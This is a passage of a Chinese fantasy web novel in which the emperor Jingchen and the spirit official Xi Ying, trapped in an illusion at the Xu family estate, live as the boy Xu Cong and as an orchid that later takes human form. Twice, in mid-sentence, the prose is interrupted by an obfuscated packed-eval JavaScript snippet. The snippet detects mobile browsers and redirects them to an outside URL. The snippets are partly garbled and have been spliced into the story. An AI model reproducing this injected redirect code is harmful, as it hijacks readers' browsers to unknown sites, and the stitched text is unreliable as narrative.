景辰惊疑不定地怔在原地,抬头环顾一圈,发现这间房布置得很是温馨,窗纱是浅淡的碧色,帐幔是柔和的姜黄色,靠窗的软榻上摆着三五只或黄或粉的软枕,榻边矮几上散落着各色丝线、绣了一半的锦帕、翻开的画册、憨态可掬的布老虎…… 房间的主人应该是女子,而且是年纪不大的小姑娘…… 可是为何没有半点翻找过的痕迹,难道侍卫们竟没有搜查这间屋子吗? 还是说,他们无法走进这间屋子? 想到这种可能性,景辰不禁背后发凉,他当即转身要离开,然而已经迟了,有个声音贴在他后脖颈处唤道:“别走……” 不走是傻子! 景辰当即将轻身术运转到极致,飞速冲向门口,可惜还是慢了一步,他眼前一黑,失去了知觉。 * “少爷,二小姐来看您了,您就别跟她赌气了,去见一见吧,亲兄妹哪有隔夜的仇啊,少爷,少爷?” 景辰被吵得心烦,伸手将被子一扯,蒙住脑袋继续睡。 可惜那老妇人像催命似的念个没完,少爷长少爷短的,非得将他吵起来不可。 “不见,我不见她!” 话音刚落,被子就被人大力扯开,景辰气得直蹬腿,蹬了几下忽然又觉得这动作太过幼稚,但不知道为什么他就是想蹬腿,想骂人。 睁眼一看,只见一张满是皱褶的老脸凑到跟前,笑得眼睛都找不见了,莫名有些熟悉,景辰却想不起来到底像谁。 那老妇人絮絮劝道:“少爷啊,您就大人有大量,原谅二小姐这一次吧,她又不是故意要摔您的阿兰,这不马上就遣人送了只更好的白瓷花盆来赔罪吗,您瞧这颜色,这花纹,是不是跟阿兰特别般配?” 景辰顺着老 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稀里糊涂来到外间茶室,只见桌旁坐着个十来岁的小姑娘,粉衣乌发,冰雪可爱,还莫名眼熟得很,不过这小姑娘见到自己的瞬间就撅起嘴冷哼一声,侧过身子一副不愿意搭理的模样,可惜时不时偷瞄过来的眼睛泄露了她的色厉内荏。 柳嬷嬷见兄妹俩都不吱声,赶紧帮着打圆场:“少爷说很喜欢二小姐送的白瓷花盆呢,配阿兰正正好,对吧少爷?” 景辰只好讷讷应道:“是啊,我喜欢,多谢,多谢妹妹。” 被柳嬷嬷推着坐到小姑娘身旁,景辰莫名有些不自在,但小姑娘闻言立马露出了笑,得意地抬着下巴道:“哥哥还是有几分眼光的。” 景辰不知道怎么回应,只好点头。 小姑娘很快又道:“明日阿爹回来,哥哥可不能再躲着不见了,到时候我定要来捉你一起去给阿爹请安。” 柳嬷嬷轻咳一声,有些担心地看向景辰,像是生怕他闹脾气,景辰抬头看了两人一眼,继续点头,表示会跟妹妹一起去见父亲。 这下柳嬷嬷和小姑娘都高兴起来,两人又拉着他絮叨一通明日该如何行礼、如何答话,什么话不能说什么话要多说,事无巨细地交代,仿佛景辰是个傻子一般。 景辰这般想着,也是这般问出了口:“你们当我傻?” 从柳嬷嬷和小姑娘一闪而逝的尴尬神情中,景辰领悟到一个残酷的事实,他确实是傻。 啊呸,他景辰明明就聪明伶俐天资卓绝才华横溢足智多谋—— 不对,景辰是谁,他好像不叫景辰,那他叫什么来着? “我叫什么名字?” 听到这个问题,柳嬷嬷和小姑娘的表情已经不是尴尬了,而是痛心疾首、难以置信、哀伤欲绝…… 半晌后,小姑娘要哭不哭地答道:“哥哥,哥哥你姓许,单名一个聪字,尚未取表字,我是你妹妹许嫣,咱们祖父乃户部尚书许峥,父亲是兵部主事许绍明,母亲是韦家长女韦敏,哥哥你千万记住了,别再忘了呀……” 24. 风水轮流转 “许、聪……我是许聪……” 许嫣的声音很好听,然而说出来的字字句句却像钉子,一下又一下扎进景辰脑子里,将他本就有些混沌的思绪搅成了一团浆糊。 “哥哥你不舒服吗?脸怎么这么白?柳嬷嬷,柳嬷嬷……” 景辰跌跌撞撞站起身,想赶紧远离这呱噪的小姑娘,然而刚抬脚就被椅子腿绊倒,扑通一下摔地上,吓得许嫣和柳嬷嬷惊叫着来扶他。 之后很长一段时间,景辰都觉得自己好像飘在空中又好像泡在水里,耳边有很多嗡嗡嗡的吵嚷声,却听不清他们到底在说什么,他像个提线木偶一般被人搬去床上,又扶起来喂药,不知折腾了多久,房间里终于安静下来。 月光悄然翻过窗台,在床前洒落一地银辉,躺在床上的少年眉毛拧成了一团,紧闭着的双眼颤动不休,像是挣扎在噩梦中,少年头顶的黑暗中,一片纤弱细长的叶子大喇喇地探出来,一路摸到少年颊边,卯足了劲儿抽打下去。 “嘿,傻小子,快醒醒,醒醒啊……” 叶子一边费力抽打一边唤着,直到少年如玉般光洁的脸上泛起交错的红痕,叶子也累得快要脱力时,那双眼睛终于缓缓睁开了。 脸上火辣辣地疼,景辰伸手去摸,结果摸到一片叶子,他轻轻扯了扯,就听一道又脆又嫩的声音在头顶响起:“快放手!不准扯本司主的叶子!” 景辰吓得赶紧松手,一骨碌爬起来裹着被子缩到床角,使劲儿眨了眨眼睛,看到了一副诡异的画面。 那盆摆在床头的兰花,好像是叫,叫阿兰来着,此时一半沐浴在月光下,一半隐没在黑暗中,月光下的那几片叶子轻轻晃动着,小小的花苞也一点一点的,看上去比白日里岂止精神了不少,简直可以说有点神经了。 见景辰像是吓呆了的模样,阿兰继续晃着花苞,理直气壮地下达指令:“傻小子,别发呆了,快来把本司主搬到窗台上晒月光,快点。” 景辰莫名觉得“司主”这称呼耳熟得很,下意识跟着重复:“司主?” 阿兰顿了顿,似是有些懊恼,语气变得有些不耐烦:“少废话,快点干活,再磨蹭天都要亮了!” 或许是“司主”这两个字有魔力,也或许是被阿兰的王霸之气震慑住了,景辰鬼使神差爬起来,吭哧吭哧将花盆搬到窗台上,又在阿兰的指挥下反复调整位置,总算让这盆又焉又凶的兰花洗上了月光浴。 景辰心里空落落地,索性也坐到窗台上,陪着阿兰一起晒月光。 也不知这月光是有什么奇效,他眼见着阿兰原本有点发黄的叶片边缘像充了水似的渐渐变得饱满嫩绿起来,几片耷拉着的叶子也抖擞了精神,连花苞顶上的那抹淡红色都变得更深了一些,仿佛再晒一会儿,这盆兰花就能变成个神气活现的姑娘蹦出来,提溜着他满世界转悠。 景辰晃了晃脑袋,将最后那个奇怪的念头丢掉,疑惑问道:“阿兰你,是妖怪吗?你这是在修炼什么功法?” 阿兰这会儿心情很好,歪着花骨朵“看”了眼身旁的少年,见他半边脸苍白半边脸红肿,心里不禁升起几分愧疚来,轻咳一声,神棍似的开口道:“本司主可不是什么妖怪,而是天上下来的仙女!傻小子,你跟本仙女有缘,要不要学仙术呀?” 景辰稀里糊涂地点了点头。 于是阿兰两片叶子卷起来,花苞一扬,摆出了叉腰昂首的姿势,开始进行仙术入门教学。 “修行的第一步嘛,是要打通周身七百二十窍穴,经脉畅通无阻,便可纳灵气入体,经行一个完整的周天……” 景辰觉得这话十分耳熟,几乎想也不想便顺着阿兰的话开始引气入体,行气周天。 阿兰原本很有几分为人师的傲气,结果还没讲完“仙术入门课”,这傻小子就在自己面前瞬间入道了,她声音都结巴起来:“你、你、你会修炼?” 景辰觉得自己应该是会的,于是点点头。 阿兰全身十来片叶子齐齐舞动,像个震惊到直拍大腿的人,小声念叨起来:“哎怎么回事,这小子不是傻子吗?难道破境的关键是他?不对啊,昨天我才试过,他就是货真价实的傻子啊……” 景辰听不清她在念些什么,此时他已经不自觉地引导着灵气在经脉中行过两个周天,某些像是刻在灵魂中的记忆正指挥着他将灵气改换路线,顺着心脉往上,经过前额神庭穴后,再分作两路往下,行至脚底涌泉穴…… 阿兰抠破头皮都没想通这傻小子是什么情况,忽然就看到他倏地一下飞了出去,瞬间落到院子里的假山上,这功法,这速度,可太眼熟了,不就是她独家秘传的轻身术嘛! 这轻身术目前为止她只教过一个人,呃不是,一条狗! “富贵儿?!” 阿兰,或者说奚萦,脱口叫出这个名字的时候,原本脆生生的小奶音差点破了音,她连忙用叶子捂住不存在的嘴,激动得手舞足蹈,很快又忍不住大声嚷嚷起来。 “富贵儿,是你对不对?你进来找我的吗?你怎么来的?怎么变成傻子了呀?哎哟怎么办,你本来就傻,这下可完了,你还记得自己是谁吗?” 这噼里啪啦一通吼,将守夜的丫鬟婆子全吵醒了,呼啦啦一下子涌进小院,结果看到自家少爷呆愣愣站在假山上,一时间大呼小叫声不断。 “天哪,少爷您怎么大晚上跑那上头去了!” “您千万小心点啊少爷!” “少爷您别动,奴婢去拿梯子。” 奚萦见状讪讪闭嘴,假装自己是朵无辜的过路花,心里却不停暗骂,这遭瘟的破幻境,竟然把英明神武天下无敌的司主大人弄成朵要死不活的兰花,一棵兰花能有什么脑子,瞧瞧这这不就干蠢事了…… 也不知道富贵儿那傻狗清醒过来没有,但愿他还傻着吧,不然肯定要嘲笑自己,哎呀不行了,抓紧时间多晒晒月光,补补脑子,这一定不是她奚萦的正常水准…… 景辰确实已经清醒过来了,被一群丫鬟婆子强行“救”下来送回房中,他好说歹说将人都赶了出去,终于得空去跟那朵大忽悠兰对峙。 奚萦不说话,一心晒月光。 景辰哼了一声,幽幽道:“司主大人?仙女?” 奚萦还是不说话。 景辰捏了捏眉心,再开口时放软了语气:“你,你知道现在是什么情况吗?我们怎么回去?” 奚萦不由得悄悄打量了眼前的少年几眼,听他这语气,是想起来自己就是富贵儿的意思了?心里忽然冒出些说不清道不明的尴尬,富贵儿是条狗的时候,她随便怎么揉搓都心安理得,可他忽然变成人了,还学会说人话了,杵在她面前跟座山似的,她觉得很不适应,但现在他们在幻境中,想办法尽快出去才是正事,不该浪费时间计较这些细枝末节。 奚萦很快调整好心态,尽量用自己惯常的语气道:“你是怎么进来这个幻境的?我明明把你收起来了,就算要来也该跟我一起的,为何你会比我晚一天进来?你发现什么异常之处没有?” 景辰心里也是五味杂陈,先前他引灵气过神庭穴后,笼罩在脑子里的混沌像遇风的迷雾一般散开,他瞬间想起了自己是谁,然后就看到那朵假冒仙女的兰花又跳又叫的,那种疯里疯气的劲儿,可不就跟那疯女人如出一辙吗,而且这疯里还冒着点傻气,诡异中又透着点好笑,也是没谁了。 此时他是四肢健全的人,疯女人却成了盆兰花,兰花虽然努力摆出了正经模样,可那细细的叶片,柔嫩的花骨朵,他一只手就能掐断,顿时有种扬眉吐气大仇得报的快感! 他半晌不说话,嘴角还扯出一抹诡异的笑,看得奚萦心里微微有些发毛,努力挺直了腰杆,大声道:“啧,哑巴了,还是人类的嘴巴用不惯啊?赶紧的,别耽误时间。” 景辰轻哼一声,伸出一根手指轻轻戳了戳花骨朵,只捡关键信息说:“那田庄是许家的宅子,内院东厢房有问题,我一进去就被拉到这里了,这个幻境也是许家。” 至于他真实身份是当今天子,为了捞眼前这臭屁司主不惜抄了许家,自己还以身犯险这些事,那当然要死死瞒住了,富贵儿可以不要面子,景辰可不能不要面子啊! 奚萦被他戳得花骨朵一歪,十分不爽地哼了一声,正想数落这狗东西以下犯上,又被他后面的话吸引过去,听完已经忘了被狗子冒犯的事,她想了想才道:“是不是有个恶心的家伙模仿你自己的声音,贴在你耳朵边说话,让你别走?” 景辰点头:“对,这是什么东西,妖还是鬼?幻境就是它弄的吗?它想杀我们,或是困住我们?” 奚萦忍不住开始摇晃花骨朵:“不不不,这幻境很精妙,却没有什么杀意,那个让我们别走的家伙也不是为了杀我们,否则它只需要安安静静不出声,一旦我们踏出东厢房的房门,恐怕就再也无法回到现实中了。” 景辰惊讶:“为何无法回去?那房间看上去就是普通的女子闺房,到底哪里有问题呢?” 奚萦幽幽道:“你看到的是普通女子的闺房,我看到的却是破烂得完全看不出原本模样的房间,仿佛已经过去了千百年……哼,原本我还只是猜测,现在可以肯定了,田庄里布下的是烂柯阵,烂柯棋局的典故你知道吧?你若是不知——” 她话音未落,就看到景辰十分自然地点了点头,表示自己知道,并用眼神示意她继续往下说。 奚萦只好歇了给狗子显摆一下文化水平的心思,继续道:“正常情况下,时间就像一条河,从高处往低处流,笔直往前,烂柯阵则是将时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232562|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间这条河搅乱,搅成一个漩涡,水流的方向不再是笔直往前,而踏入这个漩涡的人,要么被卷入水底淹死,要么一脚踏出,被卷去了河的上游或是下游,再也回不到原来的位置。我们若不能回到熙和二年六月十三的晚上,就相当于于失去了‘现在’,没有‘现在’又何谈将来,这与死了无异。而且烂柯阵只对身有修为者生效,凡人根本无法入阵,所以才起了‘烂柯阵’这样文绉绉的名字。” 景辰这才明白所谓烂柯阵的凶险之处,难怪奚萦就像人间蒸发了一般,一点痕迹都寻不到,难怪侍卫们都没发现东厢房中的古怪,只他和奚萦被拉入了阵法,又陷到这幻境之中。 “那个,那个人让我们‘别走’,其实是救了我们?” 奚萦犹豫道:“算是吧。至于这个幻境,应该是跟它有关,想要破开幻境的话,我们得将这家伙找出来。” 景辰点点头,想了想又道:“你的意思是说,那个人也在幻境中?是谁?你有头绪吗?” 奚萦摇头:“你说这田庄是许家的,莫非就是许美人的许家?” 景辰点头,奚萦叹息:“许美人……这件事从头到尾都跟她脱不开干系,若她的魂魄现在还未入轮回也未被打散的话,那它很可能就是许美人,或者是跟她关系密切之人……” 见景辰神情中还有些糊涂,奚萦继续解释:”许美人那具身体虽然也是傀儡,但却并非用女娲泥所造,那天晚上我替她招魂也没能招到,魇魔,哦,就是占了许美人身体那家伙,她说遇到许美人的时候她就已经是具傀儡了,送具傀儡入宫嫁给皇帝,总不能用那种臭烘烘的尸傀吧?所以我猜,许美人应该是具活傀,所谓活傀,虽然不像女娲泥那般丧尽天良,但至少也需要留住原身一缕残魂,可惜这些人算计半天,却被魇魔截了胡,占了这活傀的身体,切断了身与魂之间的联系,这也是魇魔离开后,许美人的尸身腐败得异常迅速的原因。唉,说来说去,许美人其实也是受害者,是整件事中最有可能帮我们一把的人,或是鬼。” 景辰听得头皮都麻了,生平第一次觉得头疾也不是什么坏事,若他身体康健的话,说不定就在满朝文武的压力之下跟傀儡同床共枕了。 他赶紧收回跑偏的思绪,当即就想到一个人:“许嫣?许美人就是许嫣啊。” 奚萦并不知道许美人的真名,也没听到白日里兄妹俩的对话,闻言不禁朝景辰投去疑惑的目光。 当然,她现在没有眼睛,景辰看不到她的目光,但两人已经有丰富的心灵感应交流经验,至于感应得对不对,那就随缘了,于是景辰笃定道:“没错,就是她,许绍明就这一个女儿!那要怎么办,直接去找她,想办法让她放我们出去?” 奚萦却表示不赞同:“不一定就是许嫣,这是幻境,不是现实,没有什么一一对应的关系,就像我变成了一盆花,而你变成了人!” 说到最后竟有些愤愤,凭什么英明神武的司主大人成了没用的花,废狗却能当人?不公平啊这破幻境! 景辰觉得她的话有道理,但他还是想从许嫣查起,于是跟奚萦商量道:“明天我要跟许嫣一起去见许绍明,要不我们挨个试探一下?” 奚萦觉得可行,于是点点花骨朵表示同意,景辰又问:“找到了许美人然后呢?怎么让她放我们出去?” 奚萦顿时觉得这狗又傻了,嫌弃道:“还能怎样,要么弄死,要么打服,要么你去跟她讲讲道理,让她洗心革面重新做鬼?” 景辰:“……” 一人一花又叽叽咕咕商量了一些细节,末了奚萦打发景辰回房休息:“虽然这里是幻境,但也要养好身体才能干正事,你赶紧回去睡觉吧,我也要多吸收点月之精华,争取早日化形。” 说到这里她又不禁愤然,她好好一个人,哪懂什么化形,这破幻境专门克她的吧? 景辰见兰花扭来扭去的模样很是好笑,难得有机会欺负一把臭屁又神气的司主大人,他忍不住伸手去戳花骨朵,结果刚碰一下就被奚萦甩着叶子呼呼地抽,他只好讨饶:“哎那个谁,你别打了,待会儿叶子打折了可别怪我。” 奚萦愤愤:“臭狗子,你叫本司主什么呢?还有没有点上下尊卑了啊,信不信等我出去没收你的裤衩子!” 景辰一阵无语,半晌后不情不愿地问道:“所以你到底叫什么名字?你说在心里默念你的名字就能沟通,却不说你叫什么名字,是不是耍我玩儿呢?” 奚萦震惊:“傻狗,你竟连你家主人的名字都不知道?我姓奚,单名一个萦字。” 她用叶子在空中比划自己的名字,比划了好几次,生怕傻狗弄错。 景辰含笑看着兰花凭空写字,觉得有趣极了,半晌后才点头道:“嗯,奚萦,我记住了。” 25. 计划赶不上变化 后来景辰是被奚萦赶回房的,不知为何,她总觉得这狗东西像是在嘲笑自己,虽然她现在的处境是有那么点好笑吧,但被狗子嘲笑这种事,不能忍啊! 柔弱的兰花叉着腰,用最威严的声音怒吼一声“滚”,之后便再也不说话也不扭来扭去了,景辰只能无奈地耸耸肩,麻溜滚了。 躺在床上的时候,他竟破天荒地觉得心情不错,甚至开始畅想不可一世的司主大人在现实中也变成了兰花,除了小嘴能叭叭几句之外,再也无力招猫逗狗了,若是这样的话,他可以考虑将她养在蓬莱宫的书房中,看折子的闲暇就逗她讲个笑话跳个舞什么的,定然很有趣…… 这般肆无忌惮地妄想着,他渐渐忘了如今身在幻境之中,意识也变得朦胧起来,很快陷入沉睡。 再睁眼时天色已经大亮,景辰看着帐顶陌生的花纹发呆,记忆缓慢回笼,他先想起了自己的身份——大雍皇帝景辰,接着想起了这是什么地方——许家田庄里的幻境,还没来得及将所有记忆归置好,床头忽然传来一声短促的,像是小孩子发出的尖叫声,紧接着脑海中又响起一道熟悉的女声。 “富贵儿!富贵儿!快起来!出事了!我怎么变成这鬼样子了!你快过来看看!” 哦,是奚萦呀。 “是是是!别废话了赶紧的呀!” 啧,就你急。 “狗东西快点!” 景辰只好翻身起床,刚掀开床帐就看到摆在床头架子上的青花瓷盆,瓷盆比巴掌大不了多少,盆里种着一棵小花苗,可怜兮兮的三片叶子正抽风似的抖个不停。 一人一花对视的瞬间,齐齐倒抽一口冷气,异口同声道:“你怎么变成这样了?!” “我怎么了?”景辰不解,抬手摸了摸自己的脸,皮肤又嫩又滑,手感十分逼真,他觉得问题更大的是奚萦:“你修炼一晚上,就这?修的什么返老还童神功吗?” 奚萦被他气得脑壳疼,虽然她现在没脑壳了:“你也不照镜子看看你自己,你现在顶多十岁好吧!” 景辰闻言,赶紧将手伸到眼前仔细一看,果然,这双手比昨日小了一大圈,分明是双孩子的手,他又连忙摸了摸喉间,没有喉结,又顺着摸了摸胸口,还想再继续往某个不好说的地方摸去的时候,目光扫到面前的花盆,立马打住了。 “这是怎么回事?幻境变了吗?还是我们的身体出了什么问题?” 奚萦在看到小孩版的景辰后,已经冷静下来了,不是她一个人出了问题就好……咳咳,她赶紧收敛思绪,顿了片刻严肃道:“应该是时间线变了,昨天是许聪少年时,今天是许聪童年时,这个幻境本就设在烂柯阵中,时间线被扰乱也不算奇怪,昨天我没想到这一点,不过不用太担心,问题不大,先静观其变。” 景辰松了口气,正想再跟她商量一下要不要调整计划,却听外间传来丫鬟仆妇行礼问安的声音,有人来了。 一人一兰齐齐噤声,景辰连忙躺回床上,闭上眼装睡。 轻缓的脚步声由远及近,伴随着浅浅的暖香飘入鼻端,景辰听到一个温柔的女声压低了声音道:“聪儿还睡着吗?昨夜可有偷偷哭过?” 另一道熟悉的声音也低声答道:“哭过两回,睡着前还念着要把二小姐丢山里去呢。” 那温柔的女声中顿时带了两分笑意,又有些无奈和心疼,感叹道:“唉,这孩子真是……” 景辰心下微动,一股莫名的涩然蔓延而上,瞬时冲到眼角鼻端,然后下一瞬间,鼻子被人轻轻捏了一下。 他睁眼,看到床边坐着一个身穿秋香色衣裙的年轻女子,她看上去约莫二十五六岁,脸不算十分漂亮,但眉眼却很是柔和耐看,让人不自觉地想要亲近,女子身旁站着的中年妇人正是柳嬷嬷,不过看上去比昨日年轻了许多。 年轻女子见他不说话,动作温柔地摸了摸他的额头,柔声道:“聪儿还在生妹妹的气啊?妹妹不是故意放跑八哥鸟儿的,她年纪太小,手上没力气提不稳鸟笼子,不像聪儿这般厉害,所以聪儿就原谅她这一次好不好?昨晚娘已经派人去将八哥鸟儿找回来了,就在外间,聪儿要不要起床去瞧瞧?” 景辰这个假聪儿根本没有妹妹放跑小鸟的记忆,更不至于去跟小孩子计较这些,刚想点头应下,转念又想到这里是幻境,自己的身份是个十岁的傻孩子,太懂事了会不会很奇怪啊?正犹豫着,脑海中奚萦的声音传来:“去看看鸟啊,然后原谅许嫣,让许夫人带你去见见她。” 对哦,跟许嫣闹别扭干嘛,原本就是要去调查这个关键人物的,当然要找借口见她才行呀,果然还是奚萦对这种事比较有经验。 奚萦的声音顿时带上两分得意:“咳,一般一般,不过是因为本司主聪明过人罢了。” 呵,这就抖起来了? “少废话,赶紧干活!” 景辰立马打起精神应付眼前的许夫人:“八哥鸟在哪儿?” 许夫人笑了起来,温柔地摸摸他的头,景辰实在不习惯跟人这般亲昵,毕竟他自己的母亲也不曾如此,只能故作急切地起身下床,胡乱抓了件衣服往身上一套便往外间跑,结果刚跑了两步就被柳嬷嬷逮住,按回去老老实实穿衣服。 那只八哥鸟就在放在外间的桌子上,景辰刚一靠近就听它扯着嗓子喊:“坏哥哥!坏哥哥!” 许夫人和柳嬷嬷都是一脸尴尬,忙哄道:“它胡说八道呢,聪儿别信,聪儿是最好的哥哥……” 景辰干巴巴地“哦”了一声,看了看笼子里上蹿下跳骂人的八哥鸟,对许夫人道:“妹妹在哪儿?我想见妹妹。” 许夫人怀疑儿子是要去找女儿干架的,不由得踌躇起来,讪然道:“妹妹还在睡觉呢……” 景辰点点头,坚持道:“那我们去叫她起床。” 许夫人跟柳嬷嬷对视一眼,无奈应下:“好吧,那聪儿能不能答应娘,不要跟妹妹吵架了?她比你小五岁,还不懂事呢,聪儿是个大度的孩子,让着她一点,以后嫣儿长大了懂事了也会对哥哥好的。” 许夫人的话让景辰生出点奇怪的感觉,像是酸楚,又像是难过,还有点不明所以的动容,让他有片刻的茫然,他没有嫡亲的兄弟姐妹,一出生便是板上钉钉的太子,从未被人要求让着谁,所以这感觉十分新奇,或许这就是同胞兄妹之间的血缘亲情? 他搞不懂,反正先点头应下,见了许嫣再说。 这时奚萦又说话了:“带上我,带上我啊!” 景辰心里那点奇怪的感觉顿时烟消云散,只剩无语。 她现在是一盆花,又不是一条狗,可以牵着到处溜达,他要怎么带上她? “啧,捧着啊,赶紧的,你懂个什么幻境,不带我你能行吗?” “捧着个花盆到处走,是不是有点傻?” “你本来就是傻子啊,捧个花盆怎么了,傻子做什么都可以!” 好有道理! 景辰一时无法反驳,但总觉得心里不得劲儿,于是立马将“傻子做什么都可以”这句话付诸实践,噔噔噔回房抱起奚萦所在的青花瓷盆,风风火火出门去了,将许夫人和柳嬷嬷的惊呼和反对尽数抛诸脑后。 许嫣如今跟许夫人同住正院,跟景辰所在的院子只隔了一道垂花门一条抄手游廊,他很快就到了,然而刚一踏进正院就闻到一股焦糊味,东厢房屋顶飘出一股浓烟,像是着火了,院子里却不见半个人影。 景辰脑子里嗡地一声,只剩下一个念头:快救妹妹。 他想也不想便冲过去撞房门,一下又一下,本就单薄的身子撞在紧闭的房门上轻飘飘的,根本撼动不了分毫,可他就像疯魔了一般,只想赶紧将许嫣救出来,连奚萦在脑海中不停跟他说话的声音也变成了没有意义的一串嗡嗡嗡。 好在追着景辰的丫鬟仆妇们很快赶到,见此情状纷纷上前来拉人,又有健硕的婆子三两下撞开房门,将里面吓得嗷嗷大哭的许嫣抱了出来。 许夫人这时也到了,见状吓得面色惨白,将许嫣从头到尾仔细检查了一番,发现没有受什么伤,母女俩这才抱在一起大哭起来,柳嬷嬷一边安抚景辰一边也跟着抹泪。 火势本就不大,很快被扑灭了,院子里乱却糟糟的到处都是人,哭声喊声不断,景辰木呆呆杵在院子中间,手里还紧紧抱着花盆,看到小小的许嫣被许夫人抱在怀里的时候,那种着魔般的急切终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232563|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于退去,奚萦的声音变得清晰起来。 “你怎么了?又傻了吗?快醒醒啊,你不是许聪!” 景辰赶紧在心里应道:“我没事了,刚才,刚才有点奇怪……” 小花苗闻言伸出细嫩的叶片轻轻抚过景辰捧着花盆的手,咕哝道:“你是不是修炼偷懒了?修为不行的话,心智容易被幻境迷惑,一旦沉溺其中,可能就永远走不出去了。” 景辰心有余悸地点点头,忽略掉手背上传来的痒意,将花盆抱得更紧了些,这样比较有安全感。 许夫人这时终于留意到一旁发呆的儿子,抹着眼泪将他拉到身边,怜爱地摸摸他的头,哽咽道:“聪儿真厉害,这次多亏了你,否则嫣儿恐怕……嫣儿,嫣儿别哭了,哥哥和娘亲都在呢,不会让你有事的,嫣儿以后也要听哥哥的话,不准欺负他知道吗?” 许夫人拉着一双儿女的手絮叨了一会儿,又将两个孩子搂进怀中。 许嫣才五六岁,灰头土脸的模样也不影响她的可爱,这会儿趴在母亲肩头,眼角泪痕还在,时不时偷看一眼哥哥,见景辰看她,立马又露出个甜甜的笑容,让人忍不住心软。 看着小姑娘的笑脸,窒闷的感觉再次从景辰心底升起,这次他竟有些分不清是作为“许聪”本身的情绪,还是作为景辰,见过许美人腐败尸身的景辰在感慨世事无常。 后来大夫到了,许夫人带着许嫣看诊,柳嬷嬷带景辰回自己院中,一路絮絮叨叨说了许多,大致是夸赞景辰勇敢心细,恼怒院中仆妇偷懒闯祸,又哀怨许老爷不着家,拉拉杂杂一堆,将景辰念得差点睡着。 再后来,时间好像被加速了,一转眼又已入夜,可惜今晚并没有月亮。 景辰早被许嬷嬷塞进了被窝,正趴在床头跟奚萦小声说话。 “我总觉得很奇怪,有时候的我,好像不是自己了,就像昨天刚进入幻境时,我差点就当自己是许聪……” 奚萦晃着仅剩的三片叶子,老气横秋道:“说你学艺不精吧,你还不信!修为通达,心境自然澄明,看看你家司主我,我就从来没觉得自己是阿兰!小狗狗啊,你还差得远哟!” 景辰扶额,无奈道:“嗯嗯嗯,我确实修为差了点,但我觉得不仅仅是修为的问题,而是,而是这个幻境的问题,它针对我,你明白吗,它好像是在针对我!” 奚萦哼道:“小东西,要针对也是针对司主大人我呀,你有什么好针对的!” 景辰简直要翻白眼了,奚萦这家伙分明也被幻境影响了,比在外面时幼稚了许多,偏她还死不承认,连被针对这种事都要跟他一较高下! 小花苗忽然“嘿”了一声,伸长了叶子试图去抽一把狗头,可惜叶子太短够不着,她只好叉着腰嚷道:“你才幼稚!你最幼稚了!哼,本司主已经大概知道是什么问题了,等着吧,明天就把这幻境破解了给你长长见识!” 景辰终于后知后觉道:“你,你莫不是会读心术?” 奚萦不承认:“傻狗,你心里想什么都写在脸上了,还需要我用什么读心术?行了别废话了,赶紧闭上眼睛睡觉,等到明天就知道是怎么回事了。” 景辰无奈,只好闭上眼清空思绪,努力入睡。 其实不需要他努力,睡着这件事,在幻境中根本不受他控制,只是思绪一个恍惚间,他们便“睡着”了,再睁眼,已是新的一天。 景辰第一反应便是抬手摸摸喉间,嗯,喉结很明显,今天不是小屁孩了。 想到“睡觉”前奚萦的话,他赶紧在心里唤道:“奚萦,奚萦?” “叫我干嘛呀?” 女子的声音在床边响起,带着一点点不易察觉的低哑,仿佛努力克制着兴奋,语气中满是难掩的雀跃。 景辰听得一愣,接着便看到一只修长纤白的手掀开床帐,露出一张明丽生辉的脸,她眉宇间两分恰到好处的英气,眼波一转整个人就鲜活得仿佛晨光初现,他几乎瞬间便猜出了她的身份,甚至还能想象出她调侃自己时该是如何的神情。 果然,这女子长眉微挑,嘴角浅浅勾起,戏谑道:“小狗狗,不认识你家司主了吗?” 景辰失笑:“是你啊,奚萦。” 26. 床前教狗 奚萦笑道:“那不然还能是谁?你该不会连我的样子都认不出来了吧?” 她说着就伸手摸了摸景辰的额头,动作自然得他都来不及反应,就听她小声咕哝:“没发烧呀,许聪这个脑瓜子傻兮兮的,可不能再把你带傻了呀,本来就不聪明……” 景辰干咳一声转移话题:“你怎么,怎么变成人了?还变成了你原本的模样?” 其实他也是从奚萦的话里猜出这是她原本的模样,以前几次见面,她时男时女,每次脸都不一样,他甚至怀疑过她是不是避役成精,倒是没想到这个行事疯癫手段诡谲的女人竟是这般模样,诗赋中所言轻云蔽月之容、流风回雪之姿,莫过于此。 总之,怎么看也不像是能打虎抓鬼的模样啊…… 奚萦看他的眼神却渐渐变得古怪起来,最后忍不住在他头上拍了一下。 莫名挨打的景辰一脸懵,不知道自己哪里招惹这家伙了,下意识往床里侧缩了缩,旋即有些不满地哼了一声。 奚萦一直没有提醒他,两人通过神识交流时,若不注意收敛心神的话,心里的想法是能被对方感应到一些的,方才这家伙偷偷吐槽自己是避役成精,着实胆大包天,若非最后夸赞了她的美貌,她非得将他狗脑子打出来不可。 打完造反狗,奚萦站起身,居高临下看着床角的景辰道:“你家司主大人天赋异禀化形成功,那不是很正常的事吗?少废话了,赶紧起来,我们去瞧瞧今天又有什么好戏。” 景辰实在不习惯这种一头雾水被人牵着鼻子走的感觉,见奚萦要走,连忙伸手去拉,刚一碰到她的手腕,又察觉自己这动作唐突得很,连忙改成扯她衣袖:“等等,你把话说清楚啊,为什么你会忽然出现,昨天说知道问题在哪儿了又是怎么回事,还有,你就这么大摇大摆地出去,不会有事吧?” 